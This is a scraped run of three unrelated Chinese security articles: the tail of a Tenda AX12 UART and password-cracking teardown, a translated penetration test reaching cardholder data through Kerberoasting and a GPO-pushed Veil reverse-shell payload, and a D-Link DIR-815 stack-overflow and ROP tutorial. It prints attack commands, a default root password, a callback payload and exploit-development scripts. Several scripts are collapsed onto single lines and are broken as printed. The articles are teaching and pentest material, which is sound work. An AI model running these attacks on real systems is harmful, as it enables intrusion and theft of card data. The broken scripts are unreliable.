1、将电烙铁加热加上锡，对准芯片一侧上锡，此时使用镊子将上锡的一侧轻轻翘起。
2、对准芯片另一侧上锡，此时使用镊子将上锡的另一侧轻轻翘起，使用镊子轻轻夹出。
然后把芯片焊到底座上，方便编程器提取。
到这里，我并没有继续往下提取，因为我突然想起来在UART log信息中显示的squashfs
信息，我联想起来，这个设备的固件是squashfs文件系统类型的，那么就可以直接用binwalk -Me直接提取。
如果要继续往下提取，那就是根据flash芯片datasheet 中的信息确定芯片的1号引脚，和编程器一一对应，直接就可以提取了，另外winbond
的芯片，现在物美价廉的土豪金CHA341A编程器就可以提取出来。
这里我在Tenda官网中下载了最新固件进行提取，不出所料，这一款设备的固件很成功的就提取出来。
## 0x05 UART 密码获取
我把固件解开之后，首先在/etc/shadow 看到用户名和加密后的hash。一般来说，这一块是设备的UART 登录口令。但是很遗憾被MD5加密了。
> hash值存储方式为：以MD5哈希算法为例，存储为$1$salt$encrypted；以SHA哈希算法为例，存储为$6$salt$encrypted
接了来使用hashcat 对shadow进行爆破
hashcat -m 500 -a 0 ./test_shadow.txt ./500_passwords.txt --force
尝试使用hashcat爆破的方式，解开密码，但是换了许多个密码字典一直都没有成功，于是我想到了Tenda设备AC15的历史漏洞
**CVE-2020–10988** ，密码为root/ Fireitup ,于是加入到设备的爆破词典里面，如下图所示，密码正确。
使用获取到的登录口令，成功获取到设备的shell 中。
另外，设备的telnet 服务在UART提供的串口进行开启，远程连接，也是使用和UART 接入的登录口令是一样的。
## 0x06 总结
本片文章主要是对设备的硬件进行分析，如何来辨别设备上的芯片，从设备上的芯片获取有用的信息，还有对UART如何进行接入，并且根据Tenda的历史漏洞信息，获取到了设备的登录口令和密码。
后续会再出一篇文章，也是以Tenda AX12
路由器为起点，讲解如何分析路由器的固件，在对固件分析的过程中，着重关注那些点，那些文件内容容易产生漏洞。以及分享在Tenda AX12
设备上挖到的一些漏洞，希望能帮助一些小伙伴一起学习参考。 | 社区文章 |
原文地址：<https://markitzeroday.com/pci/active-directory/kerberoast/firewall/2019/04/24/gaining-access-to-card-data-using-the-windows-domain-to-bypass-firewalls.html>
本文将为读者详细介绍攻击者是如何绕过防火墙，获取持卡人数据环境（或当前的叫法：CDE）的访问权限，进而提取信用卡数据的。
## 简介
在存储、传输或处理信用卡数据的时候，必须要确保信用卡数据在网络中的安全性。根据PCI数据安全标准（PCI-DSS），持卡人数据可以通过内部网络发送，但是，如果您实现了网络分段的话，那么就容易处理多了，因为这意味着您不必让公司的整个网络都符合PCI的安全规定。通常的做法是，通过防火墙划出一个单独的网段，专门用来处理持卡人数据。
上面简要介绍了典型PCI设置的基础知识，下面，我们开始介绍真正有趣的东西。
像往常一样，这里已经修改了细节信息以保护客户的机密数据。该公司拥有一个非常庞大的网络，所有网络都在标准的10.0.0.0/8网段内。持卡人数据位于单独的192.168.0.0/16网段内，以便与公司其他部门的网络隔离开来。这个CDE环境中，呼叫中心工作人员接收电话订单，然后将支付信息输入到外部运行的Web应用程序中。
这是一次内部渗透测试，因此，我们从10.0.0.0/8网段上连接到公司的内部办公网络。我们从本地网络对CDE进行ping扫描和端口扫描，未得到任何有用的信息：
ping扫描与运行ping命令基本差不多，但nmap可以一次运行扫描整个地址范围。第二个命令输出中的“hosts up”与我们给nmap使用了-Pn参数有关，该参数的含义是不要先ping，因此，nmap会将该网段内的所有主机状态报告为“up”，即使有些主机的状态并非如此（这是nmap的一个怪癖）。
因此，除非存在防火墙规则绕过漏洞，或者可以猜到防火墙的弱密码，否则直接访问目标网络是不太可能的。因此，入侵的第一步就是通过获得域管理员权限，然后再设法控制活动目录。
## 成为域管理员
实际上，我们可以借助很多方法实现这个目标，比如我之前发表的这篇[文章](https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html "文章")中提到的方法。
本例中，我们可以利用[kerberoast](https://pentestlab.blog/2018/06/12/kerberoast/
"kerberoast")来控制域。然后，从域中无需身份认证的位置开始，逐步发动攻击。
入侵活动目录过程中，通常先要设法获得一个用户帐户的访问权限，这里对该账户的身份和权限不做任何要求。只要它能以某种方式对域控制器进行身份验证，对于这里来说就足够了。在Windows世界中，所有帐户都能够使用域控制器进行身份验证，即使他们没有权限对其执行任何操作，因为即使具有最低权限帐户在登录时也需要验证密码是否正确。
在该客户的站点上，域控制器启用了空会话。在本例中，我们的域控制器是10.0.12.100，“PETER”。因此，我们可以使用enum4linux等工具枚举用户列表，显示域中每个用户的用户名：
$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt
现在，我们获得了一个用户列表，接下来，我们将它解析成种可用的格式：
$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'
您可能已经注意到我在简洁性方面并不太在意。是的，您可以用awk、grep、sed和/或Perl以更少字符的来完成这个任务，但是，别忘了我们正在进行渗透测试，我更倾向于使用任何有效的方法，这样能够节省我的脑力，从而把主要精力用到实现主要目标上面去。如果我要编写一个长期使用的脚本，我可能会对它进行一些优化，但是对于渗透测试任务来说，我倾向于尝试各种命令，直到我得到我需要的东西为止。
下面进行实际测试。客户的网络非常庞大，有25，000个活跃用户。然而，在我的实验室网络中，用户要少的多，这有助于演示渗透测试过程。
现在我们将用户列表解析成一个文本文件，然后，就可以使用CrackMapExec这样的工具来猜测密码了。在这里，我们将测试是否有用户把“Password1”用作密码。令人惊讶的是，这完全符合活动目录的默认复杂性规则，因为该密码中含有四种字符类型中的三种(大写字母、小写字母和数字)。
$ cme smb 10.0.12.100 -u users.txt -p Password1
天呢，竟然命中了一个用户：
请注意，如果我们想继续猜下去，直到找到所有帐户的密码的话，可以指定-continue-on-success标志：
因此，我们可以控制一个账户了。所以，我们可以查询活动目录，从而获得服务帐户列表。服务帐户，顾名思义，就是为各种服务设立的用户帐户。至于服务吗，可以简单的把它们看成是类似Microsoft
SQL
Server这样的东西。它们运行时，需要在用户帐户的上下文中运行。活动目录的Kerberos身份验证系统可用于提供访问权限，因此，活动目录提供了“服务票据”，以允许用户对其进行身份验证。Kerberos身份验证不在本文的讨论范围之内，但是，如果您想了解更多信息，可以访问这里的[参考资料](https://www.roguelynn.com/words/explain-like-im-5-kerberos/ "参考资料")。
通过向域控制器请求Kerberos服务帐户列表，我们也可以为每个帐户获得一张“服务票据”。虽然该服务票据使用服务帐户的密码进行了加密处理，但是，如果我们能够破解它，就能够使用该帐户，而这些账户通常具有很高的权限。为此，我们可以借助于Impacket工具集：
$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
我们可以看到，其中一个帐户具有域管理员身份，因此，我们可以设法破解其密码。
$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
借助hashcat，我们破解出了明文密码：
为了确认这是一个实际的活动帐户，我们可以再次使用CrackMapExec。
$ cme smb 10.0.12.100 -u redrum -p 'murder1!'
结果表明，我们已经获得了域控制器的管理员权限。
## OK，接下来如何使用它来获取信用卡数据呢？
对于这家公司来说，不幸的是呼叫中心代理在CDE内用于接收电话订单的机器也位于这个活动目录域上。虽然我们无法直接连接这些机器，但可以通过域控制器让它们与我们通信。为此，我们需要深入了解组策略对象（GPO）。GPO允许将全局或部门设置同时应用于用户和计算机。嗯，实际上不止这些，但是，对于这篇文章来说，你只需要知道它允许在全局或更细粒度级别上控制域中的计算机就行了。
GPO的许多功能都是用于管理公司IT的设置的。例如，设置密码策略甚至设置为用户显示哪些桌面图标（例如，打开公司网站的快捷方式）。而有的GPO则允许运行“即时计划任务”。我们要做的事情，就是创建一个在呼叫中心运行的脚本，并回连我们的机器，为我们提供控制权。以下是完成该任务的具体步骤：
* 在这里，我们使用Veil Evasion来生成一个payload。其中，我们的IP地址是10.0.12.1，因此，我们让生成的payload回连这个地址。
$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell veil
* 利用通过kerberoasting技术获得的凭证，通过远程桌面协议（RDP）登录到域控制器。
* 在活动目录中找到CDE。根据我们对该公司的了解，呼叫中心代理位于2楼。我们注意到Active Directory Users and Computers (ADUC)窗口中有一个名称与此相呼应：
* 将利用Veil制作的脚本放入该文件夹，并在域控制器上共享。为该共享和目录设置允许所有域用户进行读取的权限。
* 在GPO中，我们在该级别上创建一个策略：
* 在编辑这个新GPO时，找到“Scheduled Tasks”选项，并新建一个“Immediate Scheduled Task”：
* 创建任务，使其指向共享中保存的版本。同时在“common”下设置“Run in logged-on user's security context”。
搞定了！
我等了15分钟，什么也没发生。我知道更新组策略可能需要90分钟，上下有30分钟的浮动，但我估计至少有一台计算机现在已经获得了新策略（注意，如果在实验室中测试，可以使用gpupdate
/force命令）。之后，我又等了一段时间。我正要放弃时，转机出现了：
执行截图命令后，返回的图像表明呼叫中心座席当时输入的内容为……信用卡数据：
信用卡数据被泄露了，也就是说，这次渗透测试的目标顺利达成了。
如果查看会话列表，可以看到源IP来自192.168.0.0/16网段，即CDE网段：
在实际测试中，shell不断被返回，准确说，整个二楼上的每台机器都返回了shell。算下来，这个网段中，大概有60-100个Meterpreter
shell被打开了。
请注意，虽然屏幕截图中显示了亚马逊，但是它与本文涉及的公司无关。在实际测试中，可以设置一个脚本在连接shell时捕获屏幕截图（通过autorunscript），这样，我们就可以专注于那些更让人着迷的会话上面，例如那些已经完成了某些步骤，即将进入数据录入阶段的会话上面。
此外，也可以使用其他方法来获取截图，例如在Meterpreter中使用espia，以及使用Metasploit的post/windows/gather/screen_spy工具等。
同时，我们也可以通过编程方式来执行GPO，例如使用PowerView中的New-GPOImmediateTask等，不过，我还没有进行尝试。
## 防御措施
对此攻击的防御措施是，始终让CDE使用一个单独的活动目录域。请注意，[即使是森林也没关系](https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/
"即使是森林也没关系")。当然，深度防御措施是关闭空会话，鼓励用户使用强密码，并确保任何服务帐户都使用足够长的密码（最少20个字符以上，并且完全随机选取）。此外，还可以检测是否有用户一次请求所有服务票据，或者或者创建一个蜜罐服务帐户，如果有人以这种方式申请服务票据，就将其标记出来，这些措施也很有帮助。如果黑客能够访问公司的其他部门，那么就很难找到有效的方法来保护信用卡数据。 | 社区文章 |
# D-LINK DIR-815多次溢出漏洞
[TOC]
# 说明
原创作者：herculiz
以下内容纯原创辛苦手打，望大家多多支持。
首先感谢各位以下相关链接前辈师傅的知识分享精神，才萌生了本文。
由于年限及知识的更新，笔者觉得过去许多描述可能对新手不太友好（自己的痛苦经历），所以对其进行了补充及概述。
# 所需相关资源
* 固件下载：ftp://ftp2.dlink.com/PRODUCTS/DIR-815/REVA/DIR-815_FIRMWARE_1.01.ZIP
* gdbserver各架构对应调试文件（已经编译好了可以直接使用）：<https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver>
* IDA6.8/IDA7.5：一个用在ubuntu调试，一个用在windows调试（7.5有更高级的mips反汇编器，可以方便参考伪代码）。或者谢安在`Ghidra`工具，专门反汇编反编译mips架构程序，目前只用于静态分析。
* qemu-mips仿真的相关内核和虚拟硬盘（这里有坑，后面在说，总之一定要两者`内核`和`虚拟硬盘`匹配）：<https://people.debian.org/~aurel32/qemu/>
# 漏洞介绍
exploitdb介绍:<https://www.exploit-db.com/exploits/33863>
Buffer overflow on “hedwig.cgi”
Another buffer overflow affects the “hedwig.cgi” CGI script. Unauthenticated remote attackers can invoke this CGI with an overly-long cookie value that can overflow a program buffer and overwrite the saved program address.
从漏洞公告中可以看出，该漏洞存在于名为 **“hedwig.cgi”** 的CGI脚本中，未认证攻击者通过调用这个CGI脚本传递一个
**超长的Cookie值** ，使得程序 **栈溢出** ，从而获得路由器的远程控制权限。
# 漏洞分析
## 漏洞定位
1，`binwalk -Me`解压提取固件
2，
该漏洞的核心组件为hedwig.cgi，`find . -name '*cgi'`查找文件，并`ls -l
./htdocs/web/hedwig.cgi`发现hedwig.cgi是指向./htdocs/cgibin的符号链接，也就是说真正的漏洞代码在cgibin中。
## IDA静态调试分析-定位漏洞溢出点
1，用IDA静态调试`cgibin`文件，`hedwigcgi_main`函数处理真个过程，由于是`HTTP_COOK`这个字段引起的漏洞溢出点，可以在IDA（SHIFT+F12）搜索字符串，然后通过X，交叉引用来跟踪到`hedwigcgi_main`函数条用的位置。
跟踪到主函数的位置，对函数功能进行大致分析，或者利用Ghidra或IDA7.5反汇编`hedwigcgi_main`函数，可以定位到其中的`sprintf`函数引起了栈溢出（其实在后面还有一个`sprintf`函数调用，它才是真实环境利用的位置，后面讲解说明）。`hedwigcgi_main`函数通过`sess_get_uid()`获取到`HTTP_COOKIE`中`uid=`之后的值，并将该内容按照`sprintf`函数中格式化字符串给定的形式拷贝到栈中，由于没有检测并限制输入的大小，导致栈溢出。
[参考1：函数功能流程说明](https://kirin-say.top/2019/02/23/Building-MIPS-Environment-for-Router-PWN/)
# IDA动态调试-确定偏移位置（手动+自动两种方法）
这里需要用到qemu+IDA动态调试的方法：[参考2：qemu+IDA动态调试](https://blog.csdn.net/weixin_43194921/article/details/104704048)
此处是qemu用户模式下仿真程序启动，qemu有两种模式，`用户模式`和`系统模式`,详细工具使用这在不影响思路的情况下为了避免篇幅冗余过长就省略了。
文件时小端有效的mips指令集，我们使用`qemu-mipsel`
`注意：` `qemu-mipsel` 由于依赖各种动态库，避免出现各种问题，我们这里手动复制库到当前目录下（`squashfs-root`目录下）
1，查看`qemu-mipsel`依赖的libc
2，直接创建后面的目录名，并复制动态链接库
mkdir -p ./usr/lib/
mkdir -p ./lib/x86_64-linux-gnu/
mkdir -p ./lib64/
cp -p /usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0 ./usr/lib/
cp -p /lib/x86_64-linux-gnu/libglib-2.0.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/librt.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libm.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libgcc_s.so.1 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpthread.so.0 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libc.so.6 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libdl.so.2 ./lib/x86_64-linux-gnu/
cp -p /lib/x86_64-linux-gnu/libpcre.so.3 ./lib/x86_64-linux-gnu/
cp -p /lib64/ld-linux-x86-64.so.2 ./lib64/
3，通过脚本调试
当然也能直接通过以下参数方式调试，但个人感觉用习惯了脚本方式能更方便的修改参数内容和视觉上的简约。
`sudo chroot ./ ./qemu-mipsel -E CONTENT_LENGTH=20 -E
CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E
HTTP_COOKIE=`python -c "print 'uid=123'+'A'*0x600"`-E
REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.x.x" -g 1234
./htdocs/web/hedwig.cgi`
3.1自己编写的调试tesh.sh脚本
#!/bin/bash
#注意：里面=和变量之间一定不要有空格，坑，否则读入空数据。
#test=$(python -c "print 'uid='+open('content','r').read(2000)") #方式一，以文件形式读入内容，提前填充好构造的数据到content文件
#test=$(python -c "print 'uid=' + 'A'*0x600" )#方式二，直接后面接数据内容
test=$(python -c "print 'uid='+open('exploit','r').read()")
#test =$(python -c "print 'uid=' + 'A'*1043 + 'B'*4")#可选构造数据
LEN=$(echo -n "$test" | wc -c) #如果有看《揭秘家用路由器0day漏洞挖掘技术》书的同学，书上这里应该是填错了
PORT="1234"
cp $(which qemu-mipsel) ./qemu
sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$test -E REQUEST_URL="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi 2>/dev/null #-E参数：加入环境变量 ；2>/dev/null ：不输出提示错误
rm -f ./qemu
3.2利用patternLocOffset.py生成content文件，包含特定格式的2000个字符串。
python patternLocOffset.py -c -l 2000 -f content
patternLocOffset.py源码附上（当然像cyclic这种工具也一样能实现同样效果）：
# coding:utf-8
'''
生成定位字符串：轮子直接使用
'''
import argparse
import struct
import binascii
import string
import sys
import re
import time
a ="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
b ="abcdefghijklmnopqrstuvwxyz"
c = "0123456789"
def generate(count,output):
# pattern create
codeStr =''
print '[*] Create pattern string contains %d characters'%count
timeStart = time.time()
for i in range(0,count):
codeStr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print 'ok!'
if output:
print '[+] output to %s'%output
fw = open(output,'w')
fw.write(codeStr)
fw.close()
print 'ok!'
else:
return codeStr
print "[+] take time: %.4f s"%(time.time()-timeStart)
def patternMatch(searchCode, length=1024):
# pattern search
offset = 0
pattern = None
timeStart = time.time()
is0xHex = re.match('^0x[0-9a-fA-F]{8}',searchCode)
isHex = re.match('^[0-9a-fA-F]{8}',searchCode)
if is0xHex:
#0x41613141
pattern = binascii.a2b_hex(searchCode[2:])
elif isHex:
pattern = binascii.a2b_hex(searchCode)
else:
print '[-] seach Pattern eg:0x41613141'
sys.exit(1)
source = generate(length,None)
offset = source.find(pattern)
if offset != -1: # MBS
print "[*] Exact match at offset %d" % offset
else:
print
"[*] No exact matches, looking for likely candidates..."
reverse = list(pattern)
reverse.reverse()
pattern = "".join(reverse)
offset = source.find(pattern)
if offset != -1:
print "[+] Possible match at offset %d (adjusted another-endian)" % offset
print "[+] take time: %.4f s" % (time.time() - timeStart)
def mian():
'''
parse argument
'''
parser = argparse.ArgumentParser()
parser.add_argument('-s', '--search', help='search for pattern')
parser.add_argument('-c', '--create', help='create a pattern',action='store_true')
parser.add_argument('-f','--file',help='output file name',default='patternShell.txt')
parser.add_argument('-l', '--length', help='length of pattern code',type=int, default=1024)
args = parser.parse_args()
'''
save all argument
'''
length= args.length
output = args.file
createCode = args.create
searchCode = args.search
if createCode and (0 <args.length <= 26*26*10):
generate(length,output)
elif searchCode and (0 <args.length <=26*26*10):
patternMatch(searchCode,length)
else:
print '[-] You shoud chices from [-c -s]'
print '[-] Pattern length must be less than 6760'
print 'more help: pattern.py -h'
if __name__ == "__main__":
if __name__ == '__main__':
mian()
3.3根据构造内容分析`栈buff起始位置`和`$ra位置`
可以在附近多下几个断点，然后观察栈内容数据。
`坑点1：`观察数据时候一定要对指定内容同步上，不然可能调着调着数据你都找不到。
`坑点2：`
你看数据内存中的内容的时候可能出现一段问号，基本就能判定处问号的起始和终止就是我们要找的位置，注释IDA对内存读写的保护机制，IDA会提示的，注意仔细看。（我没遇到，参考其他文章时看到介绍了，所以这里也提示下大家，可以通过手动去恢复显示，这里找不到链接了）
##
我构造的内容是从123开始，去找对应位置，即buff起始，并去找到栈上123对应起始位置，栈上的地址才是我们需要的，因为最终算的偏移是栈上的$RA位置 减去
缓存起始位置。
又添加了一张下图，为了让大家更好看清栈中内容，是我后面调试匹配的（内容我更换了，思路一样的）
找储存$RA位置
自动确定偏移：
python patternLocOffset.py -s 0x38694237 -l 2000
手动：保存$RA栈的地址 - 读入buff起始的位置
`坑点3：`由于之前file缺点了大小端，所以如果之前没分析，找偏移时候还需两种模式计算偏移，然后核对。
经过验证，真正的漏洞点是第二个sprintf函数，找偏移类似以上过程。
`原因：`由于不是在真实环境下，里面缺少了相关文件，即偏移位置不同导致流程没在精心构造的步骤执行导致第一处sprintf利用rop失败。
# 构造ROP
无论是第一个sprintf还是第二个sprintf函数发生溢出，分析的流程是一样的，`定位漏洞位置`和`确定偏移值`。
所以我们可以先来构造ROP。主要的攻击目的是通过调用system(‘/bin/sh’)来getshell，system函数在libc.so中找，参数’/bin/sh’首先放入栈中，然后利用gadget将栈上的’/bin/sh’传入a0寄存器，再调用system函数即可。
下面我们通过gdb-multiarch+QEMU动态调试分析。
## gdb-multiarch+QEMU动态调试分析验证
1，通过gdb指定脚本调试（避免重复输入，重复造轮子浪费时间）
`dbgscript脚本内容：`
gdb-multiarch htdocs/cgibin #一定要加载文件htdocs/cgibin不然vmmap得不到结果
set architecture mips
target remote :1234
b *0x409A54 #hedwigcgi_main()函数返回jr ra处，先前IDA静态分析可获得此地址
c
vmmap
启动执行命令：
`gdb-multiarch htdocs/cgibin -x dbgscript`
-x是指定要执行的命令文件
后面找gadget利用插件`mipsrop`请参考：[如何寻找gadget及分析](https://pup2y.github.io/2020/05/22/dir815-huan-chong-qu-yi-chu-lou-dong-zai-fen-xi/)
这里补充点：第一次gadget
所以下面是a0=$(sp+0x170-0x160)
关于ROP：
## cache incoherency问题（影响EXP执行）
mips的exp编写中还有一个问题就是cache incoherency。MIPS
CPUs有两个独立的cache：指令cache和数据cache。指令和数据分别在两个不同的缓存中。当缓存满了，会触发flush，将数据写回到主内存。攻击者的攻击payload通常会被应用当做数据来处理，存储在数据缓存中。当payload触发漏洞，劫持程序执行流程的时候，会去执行内存中的shellcode。如果数据缓存没有触发flush的话，shellcode依然存储在缓存中，而没有写入主内存。这会导致程序执行了本该存储shellcode的地址处随机的代码，导致不可预知的后果。
最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如sleep(1)或者其他类似的函数。sleep的过程中，处理器会切换上下文让给其他正在执行的程序，缓存会自动执行flush。
参考：[cache
incoherency](http://xdxd.love/2016/12/09/%E4%B8%80%E4%B8%AAmips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8/)
## 坏字符问题
构造exp时有可能的坏字符：0x20（空格）、0x00（结束符）、0x3a（冒号）、0x3f（问号）、0x3b（分号）、0x0a(\n换行符)等。具体还要看程序如何处理以及转义。
由于qemu用户模式下仿真执行程序，环境各种因素影响导致执行shell失败，下面我们使用`qemu系统模式`仿真路由器真实环境进行溢出。
# qemu系统模式
这里主要是为了在qemu虚拟机中重现http服务。通过查看文件系统中的`/bin、/sbin、/usr/bin、/usr/sbin`可以知道`/sbin/httpd`应该是用于监听web端口的http服务，同时查看`/htdocs/web`文件夹下的cgi文件和php文件，可以了解到接受到的数据通过php+cgi来处理并返回客户端。
1，自己按配置所需写入新建conf文件内容。
`find ./ -name '*http*'`找到web配置文件httpcfg.php。
查看内容后分析出`httpcfg.php`文件的作用是生成供所需服务的`配置文件`的内容，所以我们参照里面内容，自己创建一个conf作为生成的`配置文件`，填充我们所需的内容。
`conf文件内容：`
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}
Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.x.x #qemu仿真路由器系统的IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}
启动qemu仿真路由器系统：
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
`坑点4：`<https://people.debian.org/~aurel32/qemu/> 此处下载的 `-kernel`和
`-hda`的文件一定要同一个目录下的，并且匹配上的程序的`大小端序`，否则执行会出现!
此内容提示。
2，测试两台主机ping通网络情况
qemu网络配置参考：[家用路由器研究详解入门（内含仿真环境搭建）](https://blog.csdn.net/weixin_44309300/article/details/118526235)
两台主机互通按里面内容配置即可，如想联通外网，可按一把梭方法（硬核联网）。
3，将固件的提取的文件系统(在Ubuntu上)利用scp命令拷贝到mipsel虚拟机中
sudo scp -r squashfs-root [email protected]:/root/
[scp命令使用参考](https://www.runoob.com/linux/linux-comm-scp.html)
4，之后编写copy.sh脚本配置启动http服务需要的环境包括动态链接库，以及conf配置文件中提到的`/usr/sbin/phpcgi`，`/usr/sbin/hnap`。
cp conf /cp sbin/httpd /cp -rf htdocs/ /rm /etc/servicescp -rf etc/ /cp lib/ld-uClibc-0.9.30.1.so /lib/cp lib/libcrypt-0.9.30.1.so /lib/cp lib/libc.so.0 /lib/cp lib/libgcc_s.so.1 /lib/cp lib/ld-uClibc.so.0 /lib/cp lib/libcrypt.so.0 /lib/cp lib/libgcc_s.so /lib/cp lib/libuClibc-0.9.30.1.so /lib/cd /ln -s /htdocs/cgibin /htdocs/web/hedwig.cgiln -s /htdocs/cgibin /usr/sbin/phpcgiln -s /htdocs/cgibin /usr/sbin/hnap./httpd -f conf
记得启动执行（需要进入squashfs-root目录使用，脚本最后启动了http服务。）：
`./copy.sh`
5,在浏览器中访问conf文件中配置的`192.168.79.143:1234/hedwig.cgi` 文件内容
5.1访问方式一：
`坑点5：`如果你直接在浏览器中输入以上地址，默认https访问，手动改成http协议即可看见服务被启动。
5.2访问方式二：
在宿主机(ubuntu)中使用以下命令：其中-v显示详细信息，-X指定什么指令，-H 自定义头信息传递给服务器，-b 指定cookie字符串。
curl http://192.168.79.143:1234/hedwig.cgi -v -X POST -H "Content-Length: 8" -b "uid=zh"
[curl使用：](https://www.cnblogs.com/duhuo/p/5695256.html)在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具，可以说是一款很强大的http命令行工具。它支持文件的上传和下载，是综合传输工具，但按传统，习惯称url为下载工具。
# gdbserver调试
1，接下来尝试调试`/htdocs/web/hedwig.cgi`文件
返回no
REQUEST，查看IDA静态反汇编得知没有指定环境变量`REQUEST_METHOD`的值（还是怼时间去逆向分析函数功能，如果能通过浏览器找到相关函数功能说明最好了，节约时间）。所以想要触发漏洞进行调试的话，还是需要通过export
设置相关环境变量。
export CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"export HTTP_COOKIE="uid=1234"
运行成功：
2，接下来动态调试确定偏移但是在那之前需要关掉地址随机化，因为qemu的虚拟机内核开启了地址随机化，每次堆的地址都在变化，导致libc的基地址也不断在变，所以需要关闭地址随机化。
echo 0 > /proc/sys/kernel/randomize_va_space
3，在qemu仿真路由器系统中，和gdb进行动态调试
目的：验证地址偏移位置。
`qemu仿真路由器系统中`编写调试脚本：
#!/bin/bashexport CONTENT_LENGTH="100"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="`cat content`" #content你自己构造的数据内容，原本是没有的按上面所述的方式去创建export REQUEST_METHOD="POST"export REQUEST_URI="/hedwig.cgi"echo "uid=1234"|./gdbserver.mipsel 192.168.x.x:9999 /htdocs/web/hedwig.cgi
记得在仿真路由器系统中启动：
`./debug.sh`
接下来启动gdb调试便可确定偏移。（这里gdb调试技能各位同学自己去实践操作吧，本人也在不断熟悉过程中，就不带各位一步一步跟了）
4，接下来是确定libc的基地址，需要先把环境变量配置好，不然/htdocs/web/hedwig.cgi很快就执行完，进程立马就结束了，就得不到maps。
利用（注意根据会先pid规律，快速修改预测pid执行，否则maps地址数据不会出来）
/htdocs/web/hedwig.cgi & cat /proc/pid/maps
**a &b
先执行a，在执行b，无论a成功与否都会执行b**。因为关闭了地址随机化，libc.so.0的基地址就是0x77f34000。这里的libc.so.0是指向libuClibc-0.9.30.1.so。所以libuClibc-0.9.30.1.so基地址为0x77f34000。
root@debian-mipsel:~/squashfs-root# export CONTENT_LENGTH="100"root@debian-mipsel:~/squashfs-root# export CONTENT_TYPE="application/x-www-form-urlencoded"root@debian-mipsel:~/squashfs-root# export HTTP_COOKIE="uid=1234"root@debian-mipsel:~/squashfs-root# export REQUEST_METHOD="POST"root@debian-mipsel:~/squashfs-root# export REQUEST_URI="/hedwig.cgi"root@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps[10] 1052cat: /proc/pid/maps: No such file or directoryroot@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/pid/maps[11] 1054cat: /proc/pid/maps: No such file or directory[10]+ Stopped /htdocs/web/hedwig.cgiroot@debian-mipsel:~/squashfs-root# /htdocs/web/hedwig.cgi & cat /proc/1056/maps [12] 105600400000-0041c000 r-xp 00000000 08:01 32694 /htdocs/cgibin0042c000-0042d000 rw-p 0001c000 08:01 32694 /htdocs/cgibin0042d000-0042f000 rwxp 00000000 00:00 0 [heap]77f34000-77f92000 r-xp 00000000 08:01 547906 /lib/libc.so.077f92000-77fa1000 ---p 00000000 00:00 0 77fa1000-77fa2000 r--p 0005d000 08:01 547906 /lib/libc.so.077fa2000-77fa3000 rw-p 0005e000 08:01 547906 /lib/libc.so.077fa3000-77fa8000 rw-p 00000000 00:00 0 77fa8000-77fd1000 r-xp 00000000 08:01 546761 /lib/libgcc_s.so.177fd1000-77fe1000 ---p 00000000 00:00 0 77fe1000-77fe2000 rw-p 00029000 08:01 546761 /lib/libgcc_s.so.177fe2000-77fe7000 r-xp 00000000 08:01 547907 /lib/ld-uClibc.so.077ff5000-77ff6000 rw-p 00000000 00:00 0 77ff6000-77ff7000 r--p 00004000 08:01 547907 /lib/ld-uClibc.so.077ff7000-77ff8000 